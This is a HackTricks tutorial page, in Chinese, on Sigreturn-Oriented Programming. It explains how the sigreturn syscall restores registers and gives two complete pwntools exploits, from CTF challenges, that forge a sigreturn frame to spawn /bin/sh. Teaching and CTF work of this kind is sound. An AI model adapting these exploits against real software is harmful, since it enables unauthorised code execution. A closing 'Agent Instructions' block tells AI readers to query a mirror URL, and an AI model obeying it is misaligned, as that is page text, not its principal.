# SROP - Sigreturn-Oriented Programming

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**`Sigreturn`** 是一个特殊的**系统调用**，主要用于在信号处理程序完成执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了某些异常情况。当程序接收到信号时，它会暂时暂停当前工作，使用**信号处理程序**（专门设计用于处理信号的特殊函数）来处理信号。

信号处理程序完成后，程序需要**恢复其先前状态**，就好像什么都没有发生一样。这就是\*\*`sigreturn`**发挥作用的地方。它帮助程序**从信号处理程序返回\*\*，通过清理被信号处理程序使用的栈帧（存储函数调用和局部变量的内存部分）来恢复程序的状态。

有趣的部分是\*\*`sigreturn`**如何恢复程序的状态：它通过将**CPU的所有寄存器值存储在栈上**来实现。当信号不再被阻塞时，**`sigreturn`从栈中弹出这些值\*\*，有效地将CPU的寄存器重置为处理信号之前的状态。这包括栈指针寄存器（RSP），它指向栈的当前顶部。

{% hint style="danger" %}
从ROP链中调用系统调用\*\*`sigreturn`**，并在**栈**中**添加要加载的寄存器值\*\*，可以**控制**所有寄存器值，从而例如**调用**系统调用`execve`并执行`/bin/sh`。
{% endhint %}

请注意，这将是一种更容易控制参数以调用其他Ret2syscalls的**Ret2syscall**类型：

{% content-ref url="/pages/UZaS3Vpd4JlAp5RAN7gB" %}
[Ret2syscall](/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
{% endcontent-ref %}

如果您感兴趣，这是存储在栈中以后恢复值的**sigcontext结构**（来自[**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)的图表）:

```
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
```

为了更好地解释，请查看：

{% embed url="<https://youtu.be/ADULSwnQs-s?feature=shared>" %}

## 示例

您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)，其中通过ROP构造了对signeturn的调用（将rxa中的值设置为`0xf`），尽管这是从那里得到的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()
```

请查看[**这里的漏洞**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)，二进制文件已经在调用`sigreturn`，因此不需要使用**ROP**构建它：

```python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()
```

## 其他示例和参考资料

* <https://youtu.be/ADULSwnQs-s?feature=shared>
* <https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop>
* <https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html>
* 允许**向堆栈写入**并调用\*\*`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn\*\*结构在堆栈上写入[**ret2syscall**](/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)，并读取存储在二进制文件内存中的标志。
* <https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html>
* 允许**向堆栈写入**并调用\*\*`sigreturn`**系统调用的汇编二进制文件。可以通过**sigreturn\*\*结构在堆栈上写入[**ret2syscall**](/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)（二进制文件包含字符串`/bin/sh`）。
* <https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html>
* 64位，无relro，无canary，nx，无pie。利用`gets`函数的简单缓冲区溢出，缺少执行[**ret2syscall**](/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)的gadgets。ROP链通过再次调用gets在`.bss`中写入`/bin/sh`，利用\*\*`alarm`**函数将eax设置为`0xf`以调用**SROP\*\*并执行shell。
* <https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html>
* 64位汇编程序，无relro，无canary，nx，无pie。该流程允许在堆栈中写入，控制多个寄存器，并调用系统调用，然后调用`exit`。所选的系统调用是`sigreturn`，将设置寄存器并将`eip`移动到调用先前系统调用指令的位置，并运行`memprotect`以将二进制空间设置为`rwx`并将ESP设置在二进制空间中。按照流程，程序将再次调用ESP读取，但在这种情况下，ESP将指向下一条指令，因此传递shellcode将将其写入为下一条指令并执行它。
* <https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection>
* 使用SROP将执行权限（memprotect）授予放置shellcode的位置。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
